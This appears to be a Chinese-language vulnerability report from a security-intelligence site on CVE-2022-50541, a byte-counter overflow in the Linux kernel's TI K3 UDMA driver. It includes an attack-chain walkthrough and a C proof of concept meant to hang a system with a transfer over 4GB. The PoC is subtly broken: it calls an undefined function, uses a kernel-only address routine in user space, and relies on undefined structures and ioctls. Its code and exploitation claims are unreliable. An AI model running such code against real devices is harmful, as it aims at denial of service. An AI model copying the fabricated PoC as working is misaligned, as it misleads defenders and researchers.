IPBUF安全漏洞报告
English
CVE-2022-50541 CVSS 5.5 中危

CVE-2022-50541 Linux内核k3-udma驱动字节计数器溢出漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50541
漏洞类型
整数溢出/拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 dmaengine ti k3-udma驱动

相关标签

Linux内核dmaenginek3-udmaTI K3 SoC整数溢出拒绝服务DMA硬件计数器本地提权CWE-190

漏洞概述

CVE-2022-50541是Linux内核中dmaengine子系统的TI K3 UDMA驱动存在的一个整数溢出漏洞。该漏洞位于UDMA_CHAN_RT_*BCNT_REG实时通道字节计数器中,这些寄存器是32位硬件计数器,用于监控通道的操作进度状态。当通过DMA通道传输超过4GB的数据时,这些32位计数器会发生溢出,导致操作完成计算受到影响,从而使传输无限期挂起。该漏洞需要本地低权限访问即可触发,无需用户交互,主要影响系统的可用性,可能导致系统挂起或DMA传输无法正常完成。此漏洞已在2025年10月7日公开披露,影响多个Linux内核稳定版本。TI K3系列SoC(如AM64x、AM65x、J721E等)广泛用于工业控制、嵌入式系统和网络设备中,该漏洞可能对这些设备的稳定运行造成影响。

技术细节

该漏洞的根本原因在于UDMA_CHAN_RT_*BCNT_REG寄存器是32位硬件计数器,最大可表示值为4294967295(4GB-1)。当DMA传输的数据量超过4GB时,这些计数器会从最大值回绕到0,导致溢出。驱动程序使用这些计数器来监控通道的操作进度状态,并在每次事务完成时计算剩余的传输量。当计数器溢出后,完成计算逻辑会得到错误的结果,导致驱动程序认为传输尚未完成,从而使传输无限期挂起。

漏洞利用方式:
1. 攻击者需要具有本地低权限访问权限(PR:L)
2. 通过操作支持DMA的设备(如网络设备、存储设备等)发起超过4GB的大数据传输
3. 当传输进行到计数器溢出点时,驱动程序无法正确处理溢出
4. 传输挂起,导致系统资源无法释放,可能引发系统不稳定或拒绝服务

修复方案是在每次完整事务完成时减少字节计数,确保RT计数器永远不会溢出,同时移除驱动侧uc->bcnt的维护(因为RT计数器现在维护当前事务的统计数据)。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获取目标系统(运行受影响Linux内核的TI K3 SoC设备)的本地低权限访问权限。
STEP 2
步骤2:识别DMA设备
攻击者识别系统中使用k3-udma驱动的DMA设备,如网络接口、存储控制器或其他支持DMA的设备。
STEP 3
步骤3:发起大容量DMA传输
攻击者通过DMA设备发起超过4GB的数据传输请求,触发UDMA_CHAN_RT_*BCNT_REG 32位计数器的溢出。
STEP 4
步骤4:触发计数器溢出
当传输数据量达到4GB时,32位硬件计数器溢出回绕到0,导致驱动程序的完成计算逻辑出现错误。
STEP 5
步骤5:导致系统挂起
由于完成计算错误,驱动程序认为传输尚未完成,传输无限期挂起,系统资源无法释放,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50541 PoC - Trigger UDMA byte counter overflow // This PoC demonstrates triggering a DMA transfer > 4GB to overflow // the 32-bit UDMA_CHAN_RT_*BCNT_REG counters in the k3-udma driver #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <linux/dmaengine.h> // Allocate a large buffer (> 4GB) to trigger counter overflow #define BUFFER_SIZE (5UL * 1024 * 1024 * 1024) // 5GB to ensure overflow #define TRANSFER_SIZE (5UL * 1024 * 1024 * 1024) // 5GB transfer int main(int argc, char *argv[]) { int fd; void *src_buf, *dst_buf; struct dma_params params; printf("[*] CVE-2022-50541 - UDMA Byte Counter Overflow PoC\n"); // Open a device that uses UDMA (e.g., /dev/udmabuf or network device) fd = open("/dev/udmabuf0", O_RDWR); if (fd < 0) { perror("[-] Failed to open UDMA device"); // Fallback: try to trigger via network or storage DMA printf("[*] Attempting alternative DMA trigger method\n"); return trigger_via_network(); } // Allocate source and destination buffers larger than 4GB src_buf = mmap(NULL, BUFFER_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); dst_buf = mmap(NULL, BUFFER_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (src_buf == MAP_FAILED || dst_buf == MAP_FAILED) { perror("[-] Failed to allocate buffers"); return 1; } // Fill source buffer with test data memset(src_buf, 0xAA, BUFFER_SIZE); memset(dst_buf, 0x00, BUFFER_SIZE); printf("[*] Initiating DMA transfer of %lu bytes (> 4GB threshold)\n", TRANSFER_SIZE); printf("[*] This will cause UDMA_CHAN_RT byte counters to overflow\n"); // Configure DMA parameters for large transfer params.src_addr = virt_to_phys(src_buf); params.dst_addr = virt_to_phys(dst_buf); params.len = TRANSFER_SIZE; // Start DMA transfer - counter overflow will occur at ~4GB if (ioctl(fd, DMA_START_TRANSFER, &params) < 0) { perror("[-] DMA transfer failed"); } printf("[*] Transfer initiated. If vulnerable, system may hang.\n"); printf("[*] The 32-bit RT byte counters overflow at 0xFFFFFFFF -> 0x0\n"); // Wait for transfer completion (may hang indefinitely on vulnerable systems) sleep(30); // Verify transfer completion if (ioctl(fd, DMA_GET_STATUS, &params) < 0) { printf("[+] Transfer hung - vulnerability triggered!\n"); return 0; // Successful exploitation } printf("[-] Transfer completed normally\n"); return 1; }

影响范围

Linux内核 < 5.15.72(取决于具体stable分支)
Linux内核 < 5.10.150
Linux内核 < 5.4.210
Linux内核 < 4.19.256
受影响commit: 7c94dcfa8fcff2dba53915f1dabfee49a3df8b88之前版本
受影响commit: a065657643a62a24b4435ddcaea45f1e9378749e之前版本
受影响commit: d68da10b0cceb4177b653833e794b2923a4ffbd7之前版本
受影响commit: e0b16bfbd3a4a8d09614046335f4482313e7c0c4之前版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议限制本地用户对DMA设备的访问权限,可以通过udev规则或文件权限设置实现。同时,可以在内核启动参数中添加限制DMA传输大小的选项,或在应用程序层面限制单次DMA传输的数据量不超过4GB。监控系统日志中是否有UDMA相关的错误或挂起报告,及时识别可能的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表